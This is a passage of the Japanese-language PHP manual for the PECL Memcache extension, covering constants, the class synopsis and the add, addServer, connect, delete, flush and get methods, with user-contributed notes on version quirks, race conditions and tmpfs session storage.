MEMCACHE_USER2 (int) | Memcache::set()、 Memcache::add() そして Memcache::replace() でのユーザー定義のアプリケーションフラグとして使います。
MEMCACHE_USER3 (int) | Memcache::set()、 Memcache::add() そして Memcache::replace() でのユーザー定義のアプリケーションフラグとして使います。
MEMCACHE_USER4 (int) | Memcache::set()、 Memcache::add() そして Memcache::replace() でのユーザー定義のアプリケーションフラグとして使います。

User Contributed Notes

Joan 20-Jan-2010 07:55
MEMCACHE_COMPRESSED=2
Using value of 1 produces serialization errors when retrieving values.


基本的な使用法

例1 memcache 拡張モジュールの概要

この例では、オブジェクトをキャッシュに保存した後に、改めて取得しなおします。 オブジェクトやその他の非スカラー型のデータは、保存される前に シリアライズされます。そのため (接続 ID などの) リソース型を 保存することはできません。

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("接続できませんでした");

$version = $memcache->getVersion();
echo "サーバーのバージョン: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("データをサーバーに保存できませんでした");
echo "データをキャッシュに保存します (データの有効期限は 10 秒です)<br/>\n";

$get_result = $memcache->get('key');
echo "キャッシュから取得したデータ:<br/>\n";

var_dump($get_result);

?>

例2 memcache セッションハンドラの使用例

<?php

$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10,  ,tcp://$host:$port  ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);

?>

User Contributed Notes

atesin > gmail 06-Aug-2020 08:20
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:05 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:05
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
dkreuter at gmail dot com 01-Jun-2009 11:45
If the example doesn't work try to change "localhost" to "127.0.0.1".


Memcache クラス

(PECL memcache >= 0.2.0)

はじめに

memcache サーバーへの接続をあらわします。

クラス概要

Memcache {
add ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool
addServer ( string $host , int $port = 11211 , bool $persistent = ? , int $weight = ? , int $timeout = ? , int $retry_interval = ? , bool $status = ? , callable $failure_callback = ? , int $timeoutms = ? ) : bool
close ( ) : bool
connect ( string $host , int $port = ? , int $timeout = ? ) : bool
decrement ( string $key , int $value = 1 ) : int|false
delete ( string $key , int $timeout = 0 ) : bool
flush ( ) : bool
get ( string $key , int &$flags = ? ) : string
getExtendedStats ( string $type = ? , int $slabid = ? , int $limit = 100 ) : array
getServerStatus ( string $host , int $port = 11211 ) : int
getStats ( string $type = ? , int $slabid = ? , int $limit = 100 ) : array|false
getVersion ( ) : string|false
increment ( string $key , int $value = 1 ) : int|false
pconnect ( string $host , int $port = ? , int $timeout = ? ) : mixed
replace ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool
set ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool
setCompressThreshold ( int $threshold , float $min_savings = ? ) : bool
setServerParams ( string $host , int $port = 11211 , int $timeout = ? , int $retry_interval = false , bool $status = ? , callable $failure_callback = ? ) : bool
}

目次

  • Memcache::add — サーバーに項目を追加する
  • Memcache::addServer — コネクションプールに memcached サーバーを追加する
  • Memcache::close — memcached サーバーとの接続を閉じる
  • Memcache::connect — memcached サーバーへの接続をオープンする
  • Memcache::decrement — 項目の値を減らす
  • Memcache::delete — サーバーから項目を削除する
  • Memcache::flush — サーバー上のすべての既存項目を消去する
  • Memcache::get — サーバーから項目を取得する
  • Memcache::getExtendedStats — プール内のすべてのサーバーの統計情報を取得する
  • Memcache::getServerStatus — サーバーの状態を返す
  • Memcache::getStats — サーバーの統計情報を取得する
  • Memcache::getVersion — サーバーのバージョンを返す
  • Memcache::increment — 項目の値を増やす
  • Memcache::pconnect — memcached サーバーへの持続的な接続をオープンする
  • Memcache::replace — 既存項目の値を置換する
  • Memcache::set — データをサーバーに格納する
  • Memcache::setCompressThreshold — 大きな値に対する自動圧縮処理を有効にする
  • Memcache::setServerParams — サーバーのパラメータおよび状態を、実行時に変更する

User Contributed Notes

chris at NOSPAM dot xeneco dot co dot uk 09-Jan-2013 09:40
It helps to know that for this extension to work, you need a server with 'Memcached' (a service independent of PHP) installed and running as a service.

The documentation herein refers a lot to 'memcache_host'. This is not an arbitrary string, but should be a host name (eg localhost) or an IP address of a server running memcached.

If you have just installed the php memcache extension then you will not necessarily have memcached installed as well


サーバーに項目を追加する

  • ≪ Memcache
  • Memcache::addServer ≫
  • PHP Manual
  • Memcache
  • サーバーに項目を追加する

Memcache::add

(PECL memcache >= 0.2.0)

Memcache::add — サーバーに項目を追加する

説明

Memcache::add ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool

Memcache::add() は、サーバーに同名のキーが存在しない 場合に限り、key というキーで 値 var を格納します。 memcache_add() 関数を使用することも可能です。

パラメータ

key

項目に関連付けられたキー。

var

格納する値。文字列および整数値はそのままの形式で、それ以外の型は シリアライズされて格納されます。

flag

項目を圧縮して格納する場合に MEMCACHE_COMPRESSED を使用します (zlib を使用します)。

expire

項目の有効期限。ゼロの場合は有効期限なし (いつまでも有効) となります。Unix タイムスタンプ形式、あるいは現在からの 秒数で指定することが可能ですが、後者の場合は秒数が 2592000 (30 日) を超えることはできません。

返り値

成功した場合に true を、失敗した場合に false を返します。 もし同名のキーが既に存在する場合は false を返します。 それ以外は、Memcache::add() の振る舞いは Memcache::set() と同じです。

例

例1 Memcache::add() の例

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* 手続き型の API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* オブジェクト指向の API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

参考

  • Memcache::set() - データをサーバーに格納する
  • Memcache::replace() - 既存項目の値を置換する

User Contributed Notes

vasiliy at hotger dot com 13-Feb-2014 07:49
It looks like add() function is truly 100% atomic, and safeadd bicycle mentioned in the other comment is useless. There are few links where developers of Memcahed explained it deeper

http://lists.danga.com/pipermail/memcached/2008-March/006647.html
http://www.serverphorums.com/read.php?9,214222
Davide Renzi 18-Feb-2010 01:16
Race conditions happen on an heavy load server when more than one thread tries to execute memcache_add.
For example if thread A and thread B try to save the same key you can test that sometimes both return TRUE.
To have the right behaviour you can verify that the correct value is in the assigned key:

<?php
function memcache_safeadd(&$memcache_obj, $key, $value, $flag, $expire)
{
    if (memcache_add($memcache_obj, $key, $value, $flag, $expire))
    {
        return ($value == memcache_get($memcache_obj, $key));
    }
    return FALSE;
}
?>
matt 03-Aug-2009 06:39
It's also good to note that add will succeed if the key exists but is expired
ktamas77 at gmail dot com 27-Apr-2009 04:08
skeleton of a thread safe updater for an incremental counter:

<?php

$key = "counter";
$value = $memcache->increment($key, 1);
if ($value === false) {
   // --- read from DB ---
   $query = "SELECT value FROM database";
   $result = mysql_query($query);
   $row = mysql_fetch_assoc($result);
   $db_value = $row["value"];
   $add_value = $memcache->add($key, $db_value + 1, 0, 0);
   if ($add_value === false) {
      $value = $memcache->increment($key, 1)
      if ($value === false) {
          error_log ("counter update failed.");
      }
   } else {
      $value = $db_value + 1;
   }
}

// --- display counter value ---
echo $value;

?>
roberto at spadim,com dot br 17-Jun-2007 10:13
[c.2007]
if you read source code for MMC_SERIALIZED you will see at line ~1555 that [a line ~1560]
!(is_string,is_long,is_double,is_bool)

[is] serialized and that serialized values are flaged as MMC_SERIALIZED for return (fetch) code unserialize these values again


コネクションプールに memcached サーバーを追加する

  • ≪ Memcache::add
  • Memcache::close ≫
  • PHP Manual
  • Memcache
  • コネクションプールに memcached サーバーを追加する

Memcache::addServer

(PECL memcache >= 2.0.0)

Memcache::addServer — コネクションプールに memcached サーバーを追加する

説明

Memcache::addServer ( string $host , int $port = 11211 , bool $persistent = ? , int $weight = ? , int $timeout = ? , int $retry_interval = ? , bool $status = ? , callable $failure_callback = ? , int $timeoutms = ? ) : bool

Memcache::addServer() は、コネクションプールに サーバーを追加します。 memcache_add_server() 関数を使用することも可能です。

(Memcache::connect() および Memcache::pconnect() ではなく) このメソッドを使用すると、ネットワーク接続は それが実際に必要となるときまで確立されません。 つまり、大量のサーバーをプールに追加した場合に、 それらすべてが使用されることはないとしてもオーバーヘッドが発生しないということです。

他のサーバーが使用可能である場合、あらゆるメソッドのあらゆる段階について ユーザーが意識しないままにフェイルオーバー処理が行われます。 ソケットあるいは Memcaches サーバーレベルで発生したあらゆるエラー (ただし out-of-memory は除く) に対してフェイルオーバーが動作します。 既存のキーを追加しようとしたなどの通常のクライアントエラーの場合は、 フェイルオーバー処理は起動しません。

注意:

この関数は、Memcache バージョン 2.0.0 で追加されました。

パラメータ

host

memcached が接続を待ち受けるホストを指定します。 このパラメータには別のトランスポート層を指定することもできます。たとえば unix:///path/to/memcached.sock のようにすると Unix ドメインソケットを使用できます。この場合、 port は 0 を指定しなければなりません。

port

memcached が接続を待ち受けるポートを指定します。 Unix ドメインソケットを使用する場合は、このパラメータを 0 とします。

port を指定しなかったときのデフォルトは memcache.default_port となります。そのため、このメソッドをコールするときにはポートを明示しておくことをおすすめします。

persistent

持続的な接続を使用するかどうかを指定します。 デフォルトは true です。

weight

このサーバーに対して割り当てる容器の数を指定します。これは、 このサーバーが選択される可能性を左右します。選択される可能性は、 すべてのサーバーの weight の合計に対するこのパラメータの割合で 決まります。

timeout

デーモンへの接続の際に使用する値 (秒単位) です。 デフォルト値を 1 秒でも変更する前には十分注意してください。 接続が遅くなってしまうと、 キャッシュ処理のメリットが なくなってしまいます。

retry_interval

サーバーとの接続が失敗した際に再試行を行う頻度を設定します。 デフォルト値は 15 秒です。このパラメータを -1 にすると、 自動的な再試行を行いません。 dl() を使用してこの拡張モジュールが動的に 読み込まれている場合は、このパラメータおよび persistent は何の効果も及ぼしません。

失敗した接続構造体は、個々にタイムアウト値を持っており、 タイムアウト時間が経過するまでは、バックエンドから新たな要求が来ても その構造体はスキップされます。時間が経過すると、 その接続が無事再接続されるか、あるいはさらに retry_interval 秒の間、接続失敗と記録されます。 典型的な効果は、ウェブサーバーの各子プロセスがページを送り出す際に retry_interval 秒ごとに接続を再試行することです。

status

サーバーがオンライン状態であるかどうかを制御します。このパラメータを false にし、retry_interval を -1 と設定すると、失敗したサーバーもコネクションプールに残します。 これにより、キー配布アルゴリズムに影響を与えないようにします。 このサーバーへのリクエストは、フェイルオーバーされるか失敗します。 どちらになるかは memcache.allow_failover の設定によって決まります。デフォルトは true で、 サーバーがオンライン状態であることを意味します。

failure_callback

エラーが発生した際に実行されるコールバック関数を指定できるようにします。 コールバック関数は、フェイルオーバー処理の前に実行されます。 この関数は、ふたつの引数 (ホスト名、失敗したサーバーのポート) を受け取ります。

timeoutms

注意

警告

port を省略した場合は、PHP の ini 設定 memcache.default_port の値をデフォルトとして使います。 もしこの値がアプリケーションのどこかで変更されていれば、予期せぬ結果を引き起こすかもしれません。 このメソッドをコールするときには、常にポートを明示しておくことをおすすめします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::addServer() の例

<?php

/* オブジェクト指向の API */

$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
$memcache->addServer('memcache_host2', 11211);

/* 手続き型の API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_add_server($memcache_obj, 'memcache_host2', 11211);

?>

参考

  • Memcache::connect() - memcached サーバーへの接続をオープンする
  • Memcache::pconnect() - memcached サーバーへの持続的な接続をオープンする
  • Memcache::close() - memcached サーバーとの接続を閉じる
  • Memcache::setServerParams() - サーバーのパラメータおよび状態を、実行時に変更する
  • Memcache::getServerStatus() - サーバーの状態を返す

User Contributed Notes

joewynn dot nz+phpnet at gmail dot com 25-Oct-2013 10:12
Note that this method will always return TRUE because a connection is not actually made at call time. See this bug report for more information: https://bugs.php.net/bug.php?id=58193
enno dot rehling at gmail dot com 09-Sep-2011 04:11
The $timeoutms argument can be used to specify the timeout in milliseconds, but isn't available in all versions. For example, it exists in php_memcache 2.2.6, but not in 3.0.4. In 2.2.6, if you specify it, then it overrides $timeout.

Caveat emptor: If $timeoutms is not specified, it defaults to the value of memcache.default_timeout_ms in php.ini, which defaults to 1000 if not set. This also overrides $timeout, which has the curious effect that $timeout is always ignored in php_memcache 2.2.6 (either in favor of $timeoutms, memcache.default_timeout_ms or the value 1000, in that order of priority).
rstaveley at seseit dot com 17-Jun-2011 04:06
The Memcache client library is responsible for picking the right server to set/get data. That's why addServer is what you want to use rather than connect, when you have more than one Memcache server. A subsequent set/get will then connect on demand to the appropriate instance as needs be. Disconnection to whatever servers were connected to happening when you close or your script terminates.

Memcache instances added to your Memcache object via addServer should be added in the same order in your application to ensure that the same server is picked for use with the same key.

A client library may be implemented to run a CRC on the key and do a modulus over the number of instances in the list to select an instance from the list for the set/get. This ensures that data is spread nicely across the nodes.

That all works nicely behind the scenes for you in your PHP code, as long as you add your list of Memcache instances in a consistent manner with addServer.
eu at serbannistor dot ro 04-May-2011 06:30
Actually if you have two memcached servers from which one of them is on localhost, and the other is on a remote machine you can communicate with both even if you specify the loopback address for the local one.

<?php
$memcache_obj = memcache_connect("127.0.0.1", 11211);
memcache_add_server($memcache_obj, "memcache_remote_host");
$memcache_obj->set('var_key', time());
?>

This WILL communicate with both hosts but however there are two aspects that must be taken into account:
1. the communication will be done through different network interfaces with the two hosts. It will use the loopback interface for the "127.0.0.1" host (lo in my case on Linux) and the external interface for the "memcache_remote_host" (eth0 in my case). Only if you want to use the same network interface to communicate with both hosts you must use the external IPs of both machines (and all communication will go out through the eth0 interface).
2. the connection with the two hosts will be established differently because of how memcache_connect() and memcache_add_server() work. Therefore the memcache_connect() will initiate the connection to localhost through the loopback interface when it is called, while memcache_add_server() will just add the second server to the pool, but it will not send any package through the network until it's absolutely needed (for example when a memcache_set() command is issued).
iwind dot liu at gmail dot com 08-Feb-2010 12:14
The weight of the server must be greater than 0.

If there is no memcached server to use, and you try to set/add variables, the apache will be crashed, with the error message "[notice] child pid 18725 exit signal Segmentation fault (11)" in error_log file.
Jean-Baptiste Quenot 05-May-2008 01:08
The default value for the "weight" argument is 1


memcached サーバーとの接続を閉じる

  • ≪ Memcache::addServer
  • Memcache::connect ≫
  • PHP Manual
  • Memcache
  • memcached サーバーとの接続を閉じる

Memcache::close

(PECL memcache >= 0.4.0)

Memcache::close — memcached サーバーとの接続を閉じる

説明

Memcache::close ( ) : bool

Memcache::close() は、memcached サーバーとの接続を閉じます。 この関数は、持続的な接続については閉じません。持続的な接続が 閉じられるのは、Web サーバーのシャットダウン/再起動のときだけです。 memcache_close() 関数を使用することも可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::close() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/*
ここで何かを行います ..
*/
memcache_close($memcache_obj);

/* オブジェクト指向の API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
ここで何かを行います ..
*/
$memcache_obj->close();

?>

参考

  • Memcache::connect() - memcached サーバーへの接続をオープンする
  • Memcache::pconnect() - memcached サーバーへの持続的な接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


memcached サーバーへの接続をオープンする

  • ≪ Memcache::close
  • Memcache::decrement ≫
  • PHP Manual
  • Memcache
  • memcached サーバーへの接続をオープンする

Memcache::connect

(PECL memcache >= 0.2.0)

Memcache::connect — memcached サーバーへの接続をオープンする

説明

Memcache::connect ( string $host , int $port = ? , int $timeout = ? ) : bool

Memcache::connect() は、memcached サーバーへの接続を 確立します。 Memcache::connect() を使用してオープンされた接続は、 スクリプトの実行終了時に自動的に閉じられます。 Memcache::close() を使用して閉じることも可能です。 memcache_connect() 関数を使用することも可能です。

パラメータ

host

memcached が接続を待ち受けるホストを指定します。 このパラメータには別のトランスポート層を指定することもできます。たとえば unix:///path/to/memcached.sock のようにすると Unix ドメインソケットを使用できます。この場合、 port は 0 を指定しなければなりません。

port

memcached が接続を待ち受けるポートを指定します。 Unix ドメインソケットを使用する場合は、このパラメータを 0 とします。

port を指定しなかったときのデフォルトは memcache.default_port となります。そのため、このメソッドをコールするときにはポートを明示しておくことをおすすめします。

timeout

デーモンへの接続の際に使用する値 (秒単位) です。 デフォルト値を 1 秒でも変更する前には十分注意してください。 接続が遅くなってしまうと、 キャッシュ処理のメリットが なくなってしまいます。

注意

警告

port を省略した場合は、PHP の ini 設定 memcache.default_port の値をデフォルトとして使います。 もしこの値がアプリケーションのどこかで変更されていれば、予期せぬ結果を引き起こすかもしれません。 このメソッドをコールするときには、常にポートを明示しておくことをおすすめします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::connect() の例

<?php

/* 手続き型の API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* オブジェクト指向の API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

参考

  • Memcache::pconnect() - memcached サーバーへの持続的な接続をオープンする
  • Memcache::close() - memcached サーバーとの接続を閉じる

User Contributed Notes

webysther at gmail dot com 10-May-2014 04:28
In describing the timeout there is a statement that is not completely correct, increase the timeout does not necessarily preclude or unfeasible memcache, only allows the system to wait for more concurrent connections, which is a large minority of the number of connections, this causes several problems and could simply be corrected if the timeout was increased and perform some tests.
To prove the concept and show that the connection does not wait if the server goes down:

<?PHP

while ( ++$loop < 10000 ) {
    try {
        $memcache = new Memcache;
        @$memcache->pconnect( "127.0.0.1" , 11211 , 30 );
        $loopset = 0;
        $loopget = 0;

        while ( ++$loopset < 50 ) {
            if ( @$memcache->set( "foo" , "bar" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        while ( ++$loopget < 500 ) {
            if ( @$memcache->get( "foo" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        if ( $loop % 100 == 0 ) {
            echo "Try: " . $loop . PHP_EOL;
        }
    } catch ( Exception $e ) {
        echo "Fail: " . $e->getMessage() . PHP_EOL;
    }
}

?>

Replace with an invalid host and test the timeout will not make a difference! It serves only for connections to the socket that are occupied.

More detail about troubleshooting timeouts in memcached google code.
tom at all dash community dot de 06-Dec-2011 07:52
There is a not-so-obvious way to check whether or not a MemCache-Server is available.

Using ($memCache->connect() == false) will wait for a timeout if it can't connect. If you got a high-traffic site this may not be an option. So when the server is down, you may want to avoid waiting for this timeout on every request and instead try to reconnect only once every X seconds.

If so, this code may help:

<?php
$memCache = new \Memcache();
$memCache->addServer($host, $port);
$stats = @$memCache->getExtendedStats();
$available = (bool) $stats["$host:$port"];
if ($available && @$memCache->connect($host, $port))
    // MemCache is there
else
    // go on without MemCache
?>

The result of getExtendedStats() is an array. The information is cached and maintained by MemCache itself. If the server is not available, the result will be FALSE.

Even if the result is not false, the server may still not be available. Thus you need to check for connect() != false too, but only if the first check returns TRUE, thus avoiding the 1 second timeout in most cases.
Both getExtendedStats() and connect() issue notices/warnings if the server is not there. Thus you have to mute both calls.

Do NOT use getServerStatus() for this purpose: the result is cached on server-start and will not recognize when the connection to the server is lost (or reestablished) in between.
djbrd 11-May-2011 11:48
To suppress (or handle) the warning and notice thrown by a failed attempt to connect, you can use a custom error handler function, like this:

<?php
function myErrorHandler($errno, $errstr, $errfile, $errline)
{

    if (E_WARNING === $errno)
    {
        Log("PHP Warning: $errstr, $errfile, $errline", Logging::WARN);
        return true;
    }

    if (E_NOTICE === $errno)
    {
        Log("PHP Notic: $errstr, $errfile, $errline", Logging::NOTICE);
        return true;
    }

    return false;
}

set_error_handler('myErrorHandler');
?>
geoffrey dot hoffman at gmail dot com 18-Aug-2010 12:32
If memcached is working, calling memcache_connect( ) returns an Object instance, not a boolean. If memcached is not working, calling memcache_connect( ) throws a notice AND a warning (and returns false as expected).

<?php
/* memcache is running */
$test1 = memcache_connect('127.0.0.1',11211);
echo gettype($test1);
// object
echo get_class($test1);
// Memcache

/* memcached is stopped */
$test2 = memcache_connect('127.0.0.1',11211);

/*
Notice: memcache_connect(): Server 127.0.0.1 (tcp 11211) failed with: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1

Warning: memcache_connect(): Can't connect to 127.0.0.1:11211, A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1
*/

echo gettype($test2);
// boolean
echo $test2===false;
// 1
?>

There appears to be no way to check whether memcached is actually running without resorting to error suppression:

<?php
$test3 = @memcache_connect('127.0.0.1',11211);
if( $test3===false ){
   // memcached is _probably_ not running
}
?>
chrisn at allipo dot com 05-Sep-2006 01:39
The behavior of Memcache::connect() is to always reinitialize the pool from scratch regardless of any previous calls to addServer().

E.g.

<?php
$mmc = new Memcache()
$mmc->addServer('node1', 11211);
$mmc->addServer('node2', 11211);
$mmc->addServer('node3', 11211);

$mmc->connect('node1', 11211);
?>

The last connect() call clears out the pool and then add and connect node1:11211 making it the only server.

If you want a pool of memcache servers, do not use the connect() function.

If you only want a single memcache server then there is no need to use the addServer() function.


項目の値を減らす

  • ≪ Memcache::connect
  • Memcache::delete ≫
  • PHP Manual
  • Memcache
  • 項目の値を減らす

Memcache::decrement

(PECL memcache >= 0.2.0)

Memcache::decrement — 項目の値を減らす

説明

Memcache::decrement ( string $key , int $value = 1 ) : int|false

Memcache::decrement() は、項目の値を value だけ減らします。 Memcache::increment() と同様、項目の現在の値が まず数値に変換されてから value を引きます。

注意:

項目の新しい値をゼロより小さくすることはできません。

注意:

圧縮して格納されている項目に対して Memcache::decrement() を使用しないでください。 なぜなら、それ以降の Memcache::get() のコールが 失敗してしまうからです。

Memcache::decrement() は、指定した項目が 存在しない場合に項目を作成することは ありません。 memcache_decrement() 関数を使用することも可能です。

パラメータ

key

値を減らす項目のキー。

value

項目の値を value だけ減らします。

返り値

項目の新しい値か、失敗した場合に false を返します。

例

例1 Memcache::decrement() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* 項目の値を 2 減らします */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* オブジェクト指向の API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* 項目の値を 3 減らします */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

参考

  • Memcache::increment() - 項目の値を増やす
  • Memcache::replace() - 既存項目の値を置換する

User Contributed Notes

There are no user contributed notes for this page.


サーバーから項目を削除する

  • ≪ Memcache::decrement
  • Memcache::flush ≫
  • PHP Manual
  • Memcache
  • サーバーから項目を削除する

Memcache::delete

(PECL memcache >= 0.2.0)

Memcache::delete — サーバーから項目を削除する

説明

Memcache::delete ( string $key , int $timeout = 0 ) : bool

Memcache::delete() は、 key に対応する項目を削除します。

パラメータ

key

削除したい項目のキー。

timeout

この非推奨のパラメータはサポートしておらず、デフォルトで 0 秒になっています。 このパラメータを使ってはいけません。

変更履歴

バージョン | 説明
Unknown | timeout パラメータを使うことは推奨しません。 このパラメータの挙動は memcached のバージョンによって異なりますが、 0 に設定しておけば安全です。 その他の値を指定すると、memcache の削除が失敗する原因となる可能性があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::delete() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* 項目をサーバーから削除します */
memcache_delete($memcache_obj, 'key_to_delete');

/* オブジェクト指向の API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete');

?>

参考

  • Memcache::set() - データをサーバーに格納する
  • Memcache::replace() - 既存項目の値を置換する

User Contributed Notes

padys 12-Apr-2013 06:24
In my case this code does NOT work:
<?php
$memcache->set('index', 'deleted', 0, -1);
?>
because of expire == -1.

I set expire = 1 (and I prefer "replace"):
<?php
$memcache->replace('index', '', 0, 1);
?>
me at adamhahn dot com 03-Jul-2012 07:26
I could not get the delete to work properly, so I ended up trying the 'set' method and setting the timeout value to -1.

<?php
$memcache->set('index', 'deleted', 0, -1);
?>

It solved my problem with the delete method.

(using memcached 1.4.5 and pecl-memcache 3.0.6)
vbaspcppguy at gmail dot com 08-Sep-2010 12:47
According to the documents, $timeout is not required, but for me if I did not include it regardless of value, it fired an error. I made a simple fix for it.

<?php
class memcache_tools extends memcache
{
    public function delete($key, $expire=0)
    {
        parent::delete($key, $expire);
    }
}
?>

This will force it to behave as it should regardless of version.
Anonymous 28-Jul-2010 03:30
Regardless of whether or not it succeeds, for me on Ubuntu 10.04 it always returns false.  Just an FYI, you can't seem to rely on the result.
nibblebot at gmail dot com 09-Jul-2010 08:58
the Memcache::delete(key) function is broken on several combinations of memcached+pecl-memcache combinations.

pecl-memcache 2.2.5 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 2.2.5 + memcached 1.4.4 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.5 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.4 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.5 - Memcache::delete(key) DOES NOT WORK


サーバー上のすべての既存項目を消去する

  • ≪ Memcache::delete
  • Memcache::get ≫
  • PHP Manual
  • Memcache
  • サーバー上のすべての既存項目を消去する

Memcache::flush

(PECL memcache >= 1.0.0)

Memcache::flush — サーバー上のすべての既存項目を消去する

説明

Memcache::flush ( ) : bool

Memcache::flush() は、すべての既存項目を直ちに 無効にします。Memcache::flush() は 実際にリソースを開放するわけではなく、単にすべての項目に 有効期限切れのマークをつけるだけです。それらの項目が使用していた メモリは、新しい項目で上書きされるようになります。 memcache_flush() 関数を使用することも可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::flush() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* オブジェクト指向の API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

User Contributed Notes

Anonymous 27-Feb-2008 07:51
From the memcached mailing list:

"The flush has a one second granularity. The flush will expire all items up to the ones set within the same second."

It is imperative to wait at least one second after flush() command before further actions like repopulating the cache. Ohterwise new items < 1 second after flush() would be invalidatet instantaneous.

Example:
<?php
$memcache->flush();

$time = time()+1; //one second future
while(time() < $time) {
  //sleep
}
$memcache->set('key', 'value'); // repopulate the cache
?>
maarten d/ot manders a/t tilllate dotcom 12-Jul-2007 01:20
Please note that after flushing, you have to wait a certain amount of time (in my case < 1s) to be able to write to Memcached again. If you don't, Memcached::set() will return 1, although your data is in fact not saved.


サーバーから項目を取得する

  • ≪ Memcache::flush
  • Memcache::getExtendedStats ≫
  • PHP Manual
  • Memcache
  • サーバーから項目を取得する

Memcache::get

(PECL memcache >= 0.2.0)

Memcache::get — サーバーから項目を取得する

説明

Memcache::get ( string $key , int &$flags = ? ) : string
Memcache::get ( array $keys , array &$flags = ? ) : array

その時点でサーバー上の key にそのようなキーが存在する場合、 Memcache::get() は、前に格納されていたデータを返します。

Memcache::get() にキーの配列を渡すことにより、 値の配列を取得することができます。この配列には、サーバー上で見つかった キーと値のペアのみが含まれます。

パラメータ

key

取得したいキー (あるいはキーの配列)。

flags

存在した場合は、値とともに取得したフラグをここに書き込みます。 これらのフラグは、たとえば Memcache::set() に渡すものと同じです。int の最下位バイトは pecl/memcache で内部的に使用するために予約されています (たとえば圧縮やシリアライズに関する状態を表します)。

返り値

key に関連付けられた値を返します。 key が配列の場合は、 見つかったキー・値のペアを配列で返します。 取得に失敗したり key が見つからなかったり、 あるいは key が空だったりした場合は false を返します。

例

例1 Memcache::get() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* オブジェクト指向の API */
